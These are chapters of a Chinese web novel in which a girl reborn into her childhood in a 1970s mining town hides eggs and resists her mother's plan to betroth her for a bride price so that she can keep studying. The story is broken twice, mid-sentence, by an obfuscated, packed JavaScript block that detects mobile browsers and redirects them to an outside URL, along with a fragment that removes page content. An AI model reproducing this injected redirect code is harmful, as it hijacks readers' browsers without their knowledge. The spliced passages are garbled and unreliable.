三妹南秀才七岁,看着是个怯懦的闷葫芦,话比金子还贵,可南雁知道,这丫头心思深着呢。 上辈子父母晚年病重,工资卡、政府补贴都被她攥在手心,除了大哥和四妹南玉偶尔能抠出点零碎,别人甭想沾边。 这一家子,掰着手指头数过去,就没个省油的灯! 与其指望他们哪天良心发现,不如指望院里那两只老母鸡明天能下出金蛋。 南雁停了笔,望向窗外。 几个半大孩子还在空地上疯跑,叫嚷声隔着玻璃飘进来,糊成一片模糊的热闹。 她得寻条路,一条能让她将来彻底蹬开这个家,堂堂正正活出人样的路。 读书,只有读书。 七七年恢复高考,距离现在还有四年。 上辈子她成绩平平,初中毕业就打工,课本知识早就还给了老师。 这辈子,她必须比别人更早起步,更拼命。 可读书需要条件:安静的环境,充足的灯光,还有时间。 包兰芝绝不会乐意看到她“不干活,光抱着书本装相”。 正思忖着,外间传来包兰芝的大嗓门:“雁子!死屋里孵蛋呢?出来剁猪草!没听见猪都饿得嗷嗷叫了?” 南雁合上作业本。 家里的两头猪是重要的财产,年底杀了吃肉、卖钱,是家庭不小的进项。 这活她躲不掉。 她走出去,墙角堆着的猪草还带着泥腥气。 剁猪草的厚木砧板放在院子一角,一把厚重的菜刀插在旁边,刃口钝了。 南雁挽起袖子,费劲地把猪草抱到砧板前。 她人小力气弱,挥舞起大菜刀很吃力,只能一点一点地剁。 冰冷的刀柄硌着手心,没一会儿就磨得发红,指关节酸得发僵。 包兰芝在灶台边哐哐当当地和面,眼角余光瞥见她笨拙的样子,鼻子里不轻不重地哼出一声,像是嘲讽,又像是某种默认。 南雁剁完猪草,拌上麸皮和刷锅水,提到矮墙围起来的猪圈。 两只黑底白花的大猪立刻哼哼唧唧地凑到食槽边,长嘴巴拱来拱去,抢食吃得呱嗒响。 南雁看着它们,心里的小算盘拨得噼啪响。 养猪是包兰芝一手抓的,收入也捏在她手里。 如果能想办法让猪长得更好,出栏更早,或者……能不能自己也沾点边? 这个念头一闪而过,很快又被她自己按了下去。 难。 包兰芝把钱看得比命重,从她指缝里漏点渣滓出来,比让公鸡下蛋还难。 南雁忙完猪的伙食,又被指使着去院角的自留地摘菜,然后是一大盆全家人的脏衣服。 冰冷的井水刺得骨头缝都疼,手指冻得像十根红萝卜。 等一切忙完,天已经擦黑。 父亲南秉义和大哥南天贵也回来了。 南秉义一身灰,脸上沾着土屑,沉默地洗脸洗手,水盆很快黑了。 南天贵一进门就嚷嚷饿,眼珠子直往锅里溜,看见灶台上的咸鱼干,伸手就抓了一块塞进嘴里。 晚饭依旧是玉米面窝头,白菜炖粉条里零星几点油花。 唯一的荤腥是一小碟咸鱼干,包兰芝特意夹到南天贵和南峰碗里。 南雁默默地啃着自己的窝头,就着寡淡的白菜粉条。 “爸,”南天贵咬了口咸鱼,含糊不清地说,“下个月矿上组织篮球比赛,赢了有奖励!我想要双回力球鞋!二狗他爸就给他买了,穿上跑得飞快!” 包兰芝立刻接话:“买!必须买!我儿子要去比赛,怎么能没双好鞋?回头妈就给你拿钱!” 南秉义从饭碗上抬起眼皮,“唔”了一声,算是默许。 南雁心里冷笑。 一双回力球鞋,够家里买十斤玉米面了。南天贵要,就是“必须买”;她想要个新作业本,都得磨半天,最后用南天贵写剩的背面。 “我也要新鞋!”南峰看哥哥有,也跟着起哄。 “有你什么事!吃你的饭!”包兰芝瞪了他一眼,语气却不严厉。 南雁快速吃完自己那份,放下碗筷:“我吃好了。” “碗刷了去。”包兰芝头也不抬。 南雁没说什么,收拾碗筷去外间。 冰冷的水再次浸没双手。里屋传来南天贵兴奋地谈论篮球鞋的声音,和包兰芝附和的轻笑。 她刷着碗,眼神越来越沉静。 光靠偷偷摸摸地学不行,她需要一个借口,一个能让包兰芝觉得“有利可图”的借口。 机会很快来了。 几天后,矿上子弟小学随堂测验。南雁有意控制着,没有考得太扎眼,但比起以往中游偏下的成绩,还是进步了不少,语文尤其明显。 李老师下课后叫住她,脸上带着难得的笑意:“南雁,这次考得不错,词语解释很有进步。继续保持。” 声音不大,但足够让周围同学听见。 南雁适时地低下头,做出腼腆又骄傲的样子:“谢谢李老师。” 放学路上,刘小萍挽着她的胳膊叽叽喳喳:“雁子,你真行啊!李老师很少夸人的!你咋突然开窍了?” 南雁笑了笑:“小萍,你说,要是考试考好了,能不能有啥好处?” “好处?顶多回家少挨顿骂。期末考得好能得张奖状,奖励个笔记本铅笔啥的。” “我是说……让家里觉得读书也挺好?” 刘小萍眨眨眼:“读书好不是应该的吗?我爸说了,认得几个字不当睁眼瞎就行,闺女家最后还是得嫁人。” 南雁心里一沉。 这就是普遍的想法。 …… 晚上吃饭时,趁着包兰芝心情不错,南雁状似无意地提起:“妈,今天李老师夸我了。” 包兰芝正给南峰夹菜,眼皮都没抬:“夸你啥?夸你吃得多?” 旁边的南玉没忍住,“嗤”地笑出来。 南雁攥了攥筷子,继续说:“说我学习有进步,比好多男生考得都好。老师说,女孩子脑子灵光的也不少,将来要是能考上初中、高中,也能有出息,给家里争光。” 她故意把“比男生考得好”和“有出息”咬得重了些。 包兰芝夹菜的动作顿了一下,狐疑地看向她:“真的?李老师真这么说的?” “嗯。”南雁用力点头,趁热打铁,“老师还说,现在矿上领导都重视教育,将来有文化、有文凭的,肯定比没文化的强,能找着更好的工作,挣更多的钱。” 这话半真半假,是她自己加的。 南秉义难得地抬起头,看了南雁一眼,没说话。 包兰芝脸上闪过盘算的神色,但很快又被根深蒂固的观念顶替:“出息?丫头片子能有多大出息?最后不都得嫁人?读那么多书有啥用?白费钱!” 南雁的心凉了半截。 重男轻女的思想像堵厚墙,不是三言两语能撼动。 “怎么没用?”南雁不死心,声音急切,“妈,你想想,要是以后我真能考上高中,甚至中专呢?那就是国家干部了!能吃商品粮,拿固定工资!一个月三十多块呢!到时候就能帮衬家里,帮大哥娶媳妇,帮小弟上学了!这不比早早下来干活强多了?” 她把“帮衬家里”、“帮大哥小弟”这几个最具诱惑力的字眼抛了出来。 包兰芝的表情松动了一些,打量着南雁,像是在估量商品未来的价值:“中专?就你?” “李老师都说我聪明,有潜力。”南雁挺直脊背,“只要让我安心学习,我肯定能行。到时候拿了工资,都给妈你管着。” 包兰芝嗤笑一声,眼里的轻视淡了点,多了分精明:“说得轻巧!好几百个人里才能考上一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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周末,包兰芝挎着布包拉南峰去澡堂,临走甩下一句:“把屋里屋外扫干净,水缸挑满,回来活儿没干完,看我怎么收拾你。” 南雁应了声,目送她们走远。 她开始打扫屋子,扫到炕边时,扫帚尖勾到了什么东西——炕席底下靠近包兰芝枕头的地方,露出个旧信封的角。 她心里一跳,不好的预感顺着脊梁骨往上窜。 她左右看看,确定没人,才蹲下身小心翼翼抽出信封。 信封边缘磨毛了,没贴邮票,上面用铅笔写着歪歪扭扭的“兰芝姐亲启”。 南雁指尖发颤,轻轻掀开封口。 里面只有一张薄薄的信纸,纸质粗糙,字迹拙劣,内容却像冰冷的锥子,猛地扎进她心口。 信是包兰芝远房表妹写来的,说她婆家有个侄子,年纪比南雁大不少,腿脚也有毛病,但家里条件不错,愿意出“这个数”的彩礼,问包兰芝愿不愿意先相看,等南雁再大两岁就定下。 信末尾那个“数”字,被红笔描得粗粗的,像烧红的烙铁,烫得南雁眼睛生疼。 她比划过,那笔钱够买好几辆新自行车,够给南天贵娶媳妇凑一半彩礼。 包兰芝竟然早就暗中给她相看人家了! 她才八岁! 南雁终于明白,之前她提起读书“有出息”时,包兰芝为什么是那种反应。 在包兰芝心里,女儿是“泼出去的水”,早点换笔实实在在的彩礼,才是最稳妥的买卖。 什么中专、工资,画得饼再大,也不如真金白银诱惑直接。 她飞快地把信按原样折好塞回,抚平炕席褶皱。 可心脏像要撞出来,“怦怦”声在耳边炸响,寒意从脊椎骨窜上来,蔓延到四肢百骸。 时间,比她想象的更紧迫。 她不能再等。 必须主动出击,尽快攒下属于自己的东西——哪怕几个鸡蛋、几毛钱,也是救命的退路。 南雁的目光落在窗外。 两只老母鸡正窝在鸡窝旁打盹。 前些天,它们下了一窝蛋,包兰芝宝贝得不行,每天都要收进木盒里,说要给南天贵补身体。 鸡蛋……南雁的眼睛亮了亮。 5. 不请自来(修) 家里那两只老母鸡,是包兰芝的心头肉,地位仅次于圈里那两头哼哼唧唧的猪。 它是这个家除了南秉义那点下井工资外,最稳定的“分分钱”来源。 一篮子鸡蛋攒到小集市上,换回来的,可能是刀刃上一点肥肉星子熬出的油渣,可能是几撮粗盐,一小瓶酱油,或者,极偶尔地,化成南天贵嘴里咂摸的冰棍,南峰手指间捏着的果丹皮。 至于南雁和底下几个妹妹? 蛋花汤的影儿都难得见一口。 包兰芝的理论坚不可摧:“丫头片子喝了窜个子,浪费!得好东西紧着带把的,那是根苗!” 以前,南雁觉得天经地义。 女孩嘛,不就是泼出去的水,家里的垫脚石? 可现在,这念头只让她心底冷笑,那笑声带着冰碴子,刮得五脏六腑都生疼。 那只光吃不下蛋的白母鸡,开春确该处理了,浪费粮食。 可那只芦花鸡…… 南雁的目光梭子一样掠过鸡窝角落那堆干草,眼睫低垂,掩住里头闪烁的光。 明着动鸡蛋,等于虎口拔牙。 包兰芝裤腰带上的钱,看得比眼珠子还紧,碰一下,能招来剜心剔骨的骂,甚至一顿不分轻重的捶打。 她得另辟蹊径,像老鼠打洞,悄无声息。 观察了几天,她摸清了规律。 芦花鸡下蛋多在日头爬上院墙,九十点钟光景,阳光正好铺满鸡窝角落。 蛋一落草,那扁毛畜生立刻梗起脖子,“咯咯哒——咯咯哒——”叫得抑扬顿挫,恨不能全矿区都晓得它的丰功伟绩。 这时,包兰芝总会趿拉着那双快磨破底的布鞋,“踢踏踢踏”从屋里窜出来,围裙上沾着菜叶或锅灰,嘴里不干不净地骂“叫丧呢”,手却急不可耐地伸进草堆,摸到那圆滚滚、温热的物事时,指节会下意识一蜷,仿佛攥住了什么金山银山。 南雁的计划,就在这“叫声”与“摸索”的间隙里滋生。 她得赶在包兰芝听见“捷报”前,先把“战利品”收缴,还得让那功臣母鸡,忘了表功。 机会在一个周三的上午,裹着料峭的春寒来了。 包兰芝要去矿上领这个月的劳保,蓝布工装和肥皂票,来回得耗掉个把钟头。 南雁头天夜里受了凉,早起咳得撕心裂肺,肺管子像拉风箱。 包兰芝破天荒没撵她去学校,只甩下一句:“死丫头在家挺尸,顺道看着你弟,别让那小祖宗往火堆里钻!” 揣上个旧布包,风风火火出了门。 门轴“吱呀”一声合拢,南雁立刻从炕上支棱起来。 她假装拿起墙角的扫帚,有一搭没一搭地划拉着院子,眼风却钉子似的钉在鸡窝那边。 时候差不多,芦花鸡开始躁动。 它绕着鸡窝踱步,爪子刨得浮土飞扬,终于屁股一沉,钻进草堆,尾羽绷紧,一副蓄势待发的模样。 南雁的心跳骤然擂鼓,握着扫帚杆的手心沁出薄汗。 院子里静得可怕,只有母鸡偶尔“咕咕”两声,衬得她胸腔里的轰鸣越发惊心。 来了! 母鸡身体猛地一颤,屁股后面露出一点诱人的白。 它的脖颈开始抻长,喙部张开,那声宣告所有权的“咯咯哒”眼看就要冲喉而出—— 就是现在! 南雁动了。 八岁女孩瘦小的身体爆发出孤注一掷的敏捷,像一道扑食的野猫影子。 左手虚按在母鸡温热的背羽上,触手是羽毛下突突跳动的小骨架,右手已如灵蛇入草,精准地捞起那颗圆润、微烫,还沾着母鸡□□的蛋。 鸡蛋入手,沉甸甸的,带着生命最初的暖意。 同时,她俯身凑近母鸡耳边,喉咙里挤出急促又压抑的“嘘——嘘——”声,气流拂过鸡冠。 母鸡被这突如其来的袭击弄懵了。到了嘴边的啼叫卡在喉咙,化成一声短促、茫然的“咯?”。 它歪着脑袋,黑豆似的眼珠瞪着南雁,满是困惑。 南雁顾不上它的情绪,闪电般将鸡蛋塞进怀里——破棉袄最里层,她偷偷缝了个暗兜,垫着块软布。 鸡蛋紧贴着心口,那点温热穿透棉絮,与她狂乱的心跳共振。 她觉得自己像个真正的贼,在悬崖边走钢丝。 可这念头一闪就被压下去——贼? 她不过是拿回一点本该属于自己的东西,从这个从未给予她温暖的家,抠出一点求生资本。 她迅速退开,捡起扫帚,竹枝划过地面的声音带着不易察觉的颤抖。 母鸡在原地转了两圈,没再叫唤,似乎也接受了蛋去窝空的现实,悻悻然踱步找食去了。 第一步,成了。 南雁强压着几乎要蹦出嗓子眼的心,扫完地,快步进屋。 光线昏暗,她掏出那枚鸡蛋,白壳,沾着一根细软绒毛,像枚小小的希望。 掀开炕席角落,靠近墙壁有道不起眼的裂缝,干燥阴凉,是她物色好的藏宝处。 指尖触到冰冷粗糙的墙皮,她才感到一丝虚脱后的踏实。 这只是开始。 一个鸡蛋,换不来自由。 她得像沙漠里的旅人收集露水,一点一滴,积攒逃离的盘缠。 她不敢贪多。 包兰芝精明似鬼,鸡蛋的数目,心里有本账。 南雁掐算着日子,专挑包兰芝赶集或外出的时机下手,一次只取一枚,细水长流,避免打草惊蛇。 与此同时,她把更多的力气,用在了书本上。 李老师不经意的夸奖,像投入死水的小石子,漾开了一圈微弱的涟漪。 包兰芝虽然依旧把“丫头读书无用”挂在嘴边,但至少在南雁趴在炕桌上看书写字时,骂骂咧咧的声音少了些。 南雁知道,这虚假的宁静脆弱得像窗户纸。 那封说亲的信,就是悬在头顶的铡刀,不知何时会落下,将她尚未展开的人生斩得七零八落。 她必须让“读书有用”这根藤蔓,在包兰芝那片被现实和狭隘占据的心田里,扎得更深。 饭桌上,她开始“无意”地播撒种子。 “妈,今儿瞧见矿长家小儿子了,背的新书包,李老师夸他回回考第一,矿长见人就显摆,说他家小子是上大学吃商品粮的料。”她扒拉着碗里稀薄的红薯粥,声音不高不低,刚好够桌上每个人听见。 包兰芝撇撇嘴,没接茬。 南秉义“吧嗒”着旱烟,模糊地“嗯”了一声。 过了几日,她又状似闲聊:“矿部办公室新来的那个女文书,听说高中毕业呢。穿的确良衬衫,坐办公室光动笔杆子,风吹不着雨淋不着,工资好像比爸还多两块。” 这次,包兰芝撩了下眼皮:“那是人家命里带福。” 筷子却在碗沿不经意地顿了一下。 后来,她听见李老师跟人闲聊,提到“恢复高考”的风声,回来就迫不及待地对南秉义说:“爸,李老师说,以后有文化的人能考大学,考上了就是国家干部,吃皇粮,还能把家里人户口都带进城。” 她说这话时,眼尾余光紧紧锁着包兰芝,看见她端碗的手,指节微微收紧。 这些话,像一颗颗小石子,投入包兰芝心湖。 她在权衡,一边是触手可及的彩礼,能立刻变现成两头肥猪,甚至能给南天贵那混世魔王攒下点老婆本;另一边是南雁画下的大饼,虽然遥远,却泛着诱人的、城里人才有的金光。 南雁看得出,包兰芝在摇摆。 这种摇摆源于人性深处的贪婪,既想攥紧眼前的实在利益,又舍不得放弃那可能未来更大的甜头。 然而,这危险的平衡,在一个空气沉闷的周末午后,被猝然打破。 包兰芝那个远房表妹,信里的主角,竟不请自来。 女人约莫三十五六,穿着洗得发白的蓝布罩衫,脸上堆着惯常混合着讨好与精明的笑容,手里拎着个看不出颜色的布包,鼓鼓囊囊,大概是些晒干的豆角或者萝卜条之类不值钱的乡土货。 “兰芝姐!哎哟喂,可算摸到门了!咱矿上这房子排得跟迷宫似的,绕得我头晕眼花!”表妹人未进院,声先至,带着一股热络的虚浮。 包兰芝显然吃了一惊,眼底掠过一丝慌乱,随即被更深的警惕覆盖。 她接过布包,嘴上客套:“来就来,还费这心干啥!快,进屋喝口水!” 眼神却像探照灯,飞快地扫过灶台边的南雁。 南雁正低头刷锅,心里“咯噔”一沉,暗叫不妙。 这女人此刻登门,绝不只是走亲戚串门子那么简单。 黄鼠狼给鸡拜年。 “这不,上回给你捎了信,左等右等没个回音,我心里不踏实,干脆跑一趟!”表妹跨进门槛,眼珠子滴溜溜在院里转了一圈,最后落在南雁身上,笑容放大,“这就是雁子吧?瞧瞧,女大十八变,越变越俊了!” 南雁垂着眼皮,没应声,手里的炊帚在锅沿刮出刺耳的声响。 屋里,几句干巴巴的寒暄过后,表妹便按捺不住,切入正题。 她往包兰芝身边凑了凑,声音压低了,却又控制在能让灶房这边的南雁隐约捕捉的音量:“兰芝姐,上回信里提的那桩好事……你琢磨得咋样了?” 包兰芝端着搪瓷缸的手一顿,热水晃出来,烫得她指尖微缩:“啥好事?我这记性,让灰糊住了。” “哎哟我的好姐姐!就是雁子的终身大事啊!”表妹一拍大腿,声音陡然拔高,像受了天大委屈,“那边可等着回话呢!紧俏得很!好几家都眼巴巴盯着!人家那条件,真是没得挑!虽说那娃儿腿脚……嗯,不太便利,可家里就这一根独苗,爹妈都是能干人,放了话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16560558|186949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,媳妇过了门,绝对当眼珠子疼!” 她神秘兮兮地又凑近些,伸出三根手指,在包兰芝眼前用力晃了晃:“那彩礼……可是这个数!够你家起一座新猪圈还有富余!” 南雁只觉得一股冷气从脚底板直冲天灵盖,四肢百骸瞬间冰凉。 把她当牲口论斤卖? 还“不太便利”?说得轻巧! 她死死攥住手里的抹布,粗糙的纹理硌着掌心,指关节绷得发白。 胸腔里翻江倒海,像是塞满了沾血的碎玻璃,扎得她每一次呼吸都带着腥甜的铁锈味。 包兰芝脸上红一阵白一阵,尴尬和犹豫交织,支吾道:“这个……雁子还小,毛没长齐呢……再说,现在不都兴那个……自由恋爱么?我们这当老的……” “我的亲姐姐!自由恋爱能当肉吃还是当衣穿?”表妹拍着大腿,一副掏心掏肺的架势,“这年头,还能由着娃儿性子胡来?咱当大人的不得把舵?现在定下,名分先占着,过两年岁数到了再圆房,啥也不耽误!再说了,雁子这丫头……” 她眼风再次扫过南雁,声音里掺了说不清道不明的意味,“老实是本分,可你看她那身板,干瘦干瘦的,还有那腿……走路仔细看,是不是有点……?将来能寻着啥好人家?咱得往实在了想!这户人家,真是百里挑一!过了这村,可就没这店了!” “腿”字像淬了毒的针,狠狠扎进南雁心窝最软烂的地方。 她的左腿,确实比右腿短了一点点,不明显,但走快了就能看出一丝不协调的颠簸。 这腿不是天生的。 怎么落的这毛病? 她不知道。 小时候懵懂问过,换来的永远是父母闪烁的眼神和厉声呵斥。久了,她也就不再问。 知道了又能怎样?难道还能接上不成? 恍惚间,她想起前世,女儿小安工作后,带她去大城市的医院,挂的还是专家号。 那个头发花白的老医生,拿着片子看了半晌,最后也只是摇头叹息:“太久了,骨头都长定型了,没办法了。” 连那样的权威都束手无策,这辈子,还有谁能还她一条齐整的腿? 同样,表妹这番话,也精准地命中了包兰芝最现实、最坚硬的算盘。 是啊,南雁的条件摆在这儿,身板瘦小,腿脚不便,在婚姻市场上本就是次品。 如今有人愿意出高价接手,在包兰芝看来,简直是天上掉馅饼,是解决负担兼赚一笔的绝佳机会。 南雁看见包兰芝的嘴唇嚅动了一下,那个“行”字几乎要脱口而出。 不能再等了!哪怕只是口头应允,也等于在她脖子上套了绞索! 南雁几步走到屋中央,脸上努力挤出一丝属于这个年龄的不解和委屈:“妈,表姨,你们说啥呢?啥过门?啥彩礼?是……是说我吗?” 包兰芝和表妹俱是一惊,显然没料到这闷葫芦敢当面插话。 包兰芝的脸瞬间沉下,乌云密布:“死丫头胡吣什么!滚一边去!” 表妹也赶紧挤出僵硬的笑打圆场:“没啥没啥,雁子你听差了,表姨跟你妈唠点闲篇儿。” 南雁却不退反进,又踏前一步,眼睛直勾勾地盯着包兰芝,那目光里是与年龄截然不符的执拗和冷澈:“妈,李老师前天放学特意留我说话了。” 包兰芝一愣:“李老师?她又叨叨啥?” “李老师说,我这次期中考试,语文考了班里头三名,数学也比上月强了一大截。”南雁面不改色地给自己拔高了两名,专挑最能刺激神经的说,“老师说,照这劲头,考上初中十拿九稳,搞不好,还能争一争保送高中的名额。” 她刻意顿了顿,观察着包兰芝眉头细微的松动,趁热打铁,语速加快:“矿中学高中部,年年都有考上中专、大学的。李老师说,考上了就是国家的人,吃商品粮,月月拿工资,比矿长挣得还多!将来在城里分了房,还能把爹妈兄弟都接去享福,住亮堂堂的砖瓦楼!” 她一口气说完,不给包兰芝打断的机会,然后紧紧锁住母亲那双粗糙浑浊的眼睛,一字一句,清晰无比地砸过去: “妈,我不想这么早说人家。我想读书。我想像李老师说的那样,将来有出息,挣大钱,让你和我爸,还有弟弟,都过上好日子。行吗?” 最后两个字,她咬得格外重,带着孤注一掷的恳求,也带着一丝冰冷的威胁。 屋子里霎时间落针可闻。 表妹张着嘴,活像被掐住脖子的母鸡,一脸错愕,显然被这小丫头片子一番条理清晰,连削带打的话震住了。 包兰芝的脸色更是风云变幻,惊疑、恼怒、权衡、还有一丝被那“砖瓦楼”勾起的微弱却顽固的贪欲,在她脸上交织碰撞。 那一刻,空气凝固,只剩下窗外芦花鸡偶尔的“咕咕”声,和南雁胸腔里,那擂鼓般的心跳。 6. 新麻烦(修) 包兰芝看着南雁。 那丫头脊梁骨挺得笔直,一双眼睛黑沉沉的,亮得灼人,里面像是烧着两簇不怕死的野火。 再看看表妹。 那张脸笑得像朵皱巴巴的菊花,眼底却全是急于促成好事,好捞谢媒钱的精明和催促。 包兰芝心里那架天平,左摇右晃,乱得像团被猫抓过的毛线。 钱,她当然爱。可面子,她更要。 这矿区巴掌大的地方,谁家闺女嫁了什么人,谁家小子混出了头,都是婆娘们嚼舌根的长久谈资。 要是南雁真能读出去,将来成了端铁饭碗的城里人,她包兰芝走出去,脸上该多有光? 不比把闺女匆匆塞给邻村那个走路都歪斜的瘸子体面一百倍? 表妹见她眼神闪烁,久不答话,心知要坏菜,忙不迭地往那偏向彩礼的秤盘上加码:“兰芝姐!你可不能犯糊涂!读书?那是小子们撞大运的事!她一个丫头,认几个字不当睁眼瞎就顶天了,还能读出个金疙瘩来?等蹉跎到十八九,书没读成,好人家也耽误了,到时候你攥着个老姑娘在手里,看谁不戳你脊梁骨!人家那边可是诚心诚意,托了三道媒!彩礼一分不短你的!这机会,错过了你可别后悔!” “表姨。” 南雁突然开口:“我的事,不劳您费心。我现在,只想读书。您说的那户人家,条件再好,您留给别家盼着嫁闺女换彩礼的去吧——我,不、稀、罕。” “不稀罕”三个字,像三记耳光,抽得表妹脸上的假笑瞬间碎裂。 她指着南雁,手指头抖得像发了鸡爪疯,嘴唇哆嗦着,半天憋不出一个字,猛地扭头发作起来:“兰芝姐!你听听!你听听这叫什么话?!啊?!才几岁?就敢这么顶撞长辈!这要是我闺女,我早大耳刮子扇上去了!翅膀毛还没长齐呢,就敢翻天?!” 包兰芝被这两头夹击吵得脑仁疼,一股邪火窜上来,猛地一巴掌拍在炕沿上,震得炕桌搪瓷缸里的水都晃了出来:“吵什么吵!都给我闭嘴!丫头片子懂个屁!轮得到她插嘴?!” 这话明着是骂南雁,可那挥手的动作,那不耐烦的语气,末了却跟着一句:“这事先放着!孩子还小,说这些太早!” 分明是缓兵之计。 表妹不是傻子,一看这架势,知道今天这媒人红包是泡汤了。 她狠狠剜了南雁一眼,嘴里不干不净地嘟囔着“不识好歹”、“好心喂了狗”,气冲冲地摔门而去。 “砰”的一声巨响,门板撞在门框上,震落几缕墙灰。 屋里霎时死寂,只剩下窗外寒风呼啸而过的声音,刮得人心头发凉。 包兰芝慢慢转过身,一双眼睛死死钉在南雁身上,上下下地刮,仿佛要从她这瘦小的身板里,刮出点不一样的魂灵来。 这死丫头,什么时候……长出这么一身硬骨头了? 以前打她骂她,只会缩着脖子掉眼泪,屁都不敢放一个。 如今竟敢当面顶撞长辈,还敢一口回绝亲事?谁给她的胆子? 良久,包兰芝从鼻腔里挤出一声短促的冷笑,伸出粗糙的手指,狠狠戳在南雁的额头上。 “读!我让你读!可你给老娘听好了!要是期末考,你拿不回张像样的成绩单,敢在外面给老娘惹是生非丢人现眼……我就把你这些破书烂本子,全塞进灶膛里烧了!连夜捆了你,送到那瘸子家炕头上!到时候,你可别跪着求我!” 南雁攥在身侧的拳头,指节捏得发白,又悄悄松开。 后背早已被冷汗浸湿,冰凉地贴着单薄的棉袄。 这一关,算是暂时闯过去了。 可她心知肚明,包兰芝这话绝非恐吓。 这“允许读书”的恩典,不过是张薄纸,随时都能被她亲手撕碎。 全看自己,能不能用白纸黑字的成绩,把它变成铁打的凭证。 她低下头,掩去眼底所有情绪,含糊地应了声:“知道了。” 转身挪回自己睡觉的角落,手指隐秘地探向炕席底下。触到那三枚圆滚滚温润的物事,心里那根紧绷的弦,才稍稍松弛一分。 这是她瞒天过海,一点点抠搜出来的“私房钱”,是她对抗这令人窒息命运的第一笔微薄却至关重要的资本。 窗外,矿区下班的广播号子猛地吹响,尖锐刺耳,混着自行车铃铛的嘈杂,工人们疲惫的说笑,一股脑地涌进这狭小逼仄的屋子。 家家户户的烟囱开始冒烟,劣质煤块燃烧出的呛人气味,混合着玉米糊糊和炖白菜的寡淡味道,在灰蒙蒙的天空下,纠缠成一片混沌的网。 …… 腊月的风,是开了刃的薄刀片,贴着地皮刮过来,捎带着矿灰和冰碴,抽在脸上,又冷又疼。 天光还未彻底撕破夜幕,窗玻璃上凝结着形态狰狞的霜花。 南雁是被外间一声“哐当”巨响惊醒的。 她心脏猛地一缩,第一个反应不是起身,而是飞快地伸手摸向炕席底下。 指尖触到那三枚包裹在软布里的鸡蛋,才彻底放下心来。 “雁子!作死啊!还不起!挑水去!缸底都快朝天了!”包兰芝带着睡意和火气的嗓门,像破锣一样敲打着土墙。 南雁一声不吭,利落地翻身坐起,将那件领口磨得油亮,棉花板结的旧棉袄套在身上。 冷空气无孔不入,顺着缝隙钻进骨头缝里。 她拎起门后那对半旧的木桶。 桶身满是磕碰的豁口,是南天贵当年撒野的“功勋章”,如今,理所当然地成了她的负累。 矿区唯一的水井在家属区最东头,离她家足有两里多地。 路面冻得硬邦邦,覆盖着一层滑腻的薄冰,踩上去“嘎吱”作响。 南雁得微微弓着背,将粗糙的桶绳在细瘦的胳膊上多绕几圈,才能勉强控制住晃荡的水桶,避免珍贵的井水泼洒出去。 木桶沉重,没走多远,肩膀就像压了块巨石,酸麻刺痛,可她咬紧牙关,不敢停歇。 包兰芝的耐心比纸薄,等久了,唾沫星子能淹死人。 天色灰蒙,路上已有不少早班矿工的身影,深蓝色的工装融在黎明前的暗色里,只有呵出的白气,一团接一团。 “雁丫头,这么早挑水?”路过的是张叔,南秉义的老伙计,脸上总挂着点敷衍的和气,手里捏着个冷硬的窝窝头,“你爸刚上工去了。” 南雁只从喉咙里含糊地应了一声,算是回答。 她清楚,这些看似和善的邻里,背地里没少嚼她家的舌根——她那条微跛的腿,包兰芝偏心到胳肢窝的做派,都是茶余饭后的谈资。 挑着满满两桶水往回走时,太阳才吝啬地露出小半张脸,将远处矿井高耸的钢铁井架顶端,染上一抹黯淡的金红。 南雁步子沉缓,桶里的水随着晃动,溅湿了她的裤脚,寒风一吹,立刻结成硬邦邦的冰壳,冷得她小腿肚一阵阵抽搐僵硬。 可她脑子里却没闲着,反复地默诵着昨天新学的课文:“春天来了,春天的脚步近了……” 踏进家门时,包兰芝已经在灶台前忙碌,锅里玉米糊糊冒着的热气。 小弟南峰坐在门槛上,啃着昨天剩下的半拉窝头,看见她,立刻嚷起来:“大姐!喝水!我渴!” “催命啊!等你姐把水倒进缸里!”包兰芝扭头骂了南峰一句,视线又钉子似的扎向南雁,“雁子!磨蹭啥呢!倒完水赶紧把猪食剁了!一会儿还得去洗你哥的队服——他下午比赛,耽误了看我不揭你的皮!” 南雁沉默着将水倒入水缸,放下空桶,转身就拿起墙角的菜刀和一堆枯黄的猪草。 剁猪草的砧板是块开裂的老松木,刀口也钝,她必须用尽全身力气,才能将坚韧的草秆斩断。 没几下,虎口就震得发麻,掌心一片通红。 她不敢停。 包兰芝那双精明的眼睛,正时不时从灶台那边扫过来,捕捉着她任何一丝懈怠的迹象。 南雁正机械地挥着刀,刘小萍像阵风似的冲了进来,喘着粗气,小脸通红:“雁子!不好了!李老师说……下午开表彰大会!期中考试前五名发奖励!” 南雁手里的刀猛地一顿,她上次糊弄包兰芝,说自己考了第三,其实是擦着边儿的第五。 可第五,也有奖励——李老师提过,是笔记本和带橡皮头的铅笔头都是她现在极度匮乏,求之不得的东西。 “知道了。”南雁压低声音,生怕惊动灶台那边的耳朵。 可包兰芝还是听见了。她探出头,眉头拧着:“表彰大会?你又在外头搞什么名堂?” 刘小萍嘴快,抢着答道:“包婶!是考试表彰!雁子考得好,能领笔记本呢!” 包兰芝从鼻子里哼出一声,手里的锅铲“哐当”砸在锅沿:“笔记本?那玩意儿能顶饭吃?能顶衣穿?有那闲工夫,不如多剁点猪草,年底好多卖几块钱!” 说完,脑袋缩了回去,继续搅和那锅稀薄的糊糊。 南雁抿紧了嘴唇,没争辩,只是手里的菜刀落得更快、更狠。 她知道,跟包兰芝讲“知识改变命运”是对牛弹琴。得让她看到摸得着的实惠。 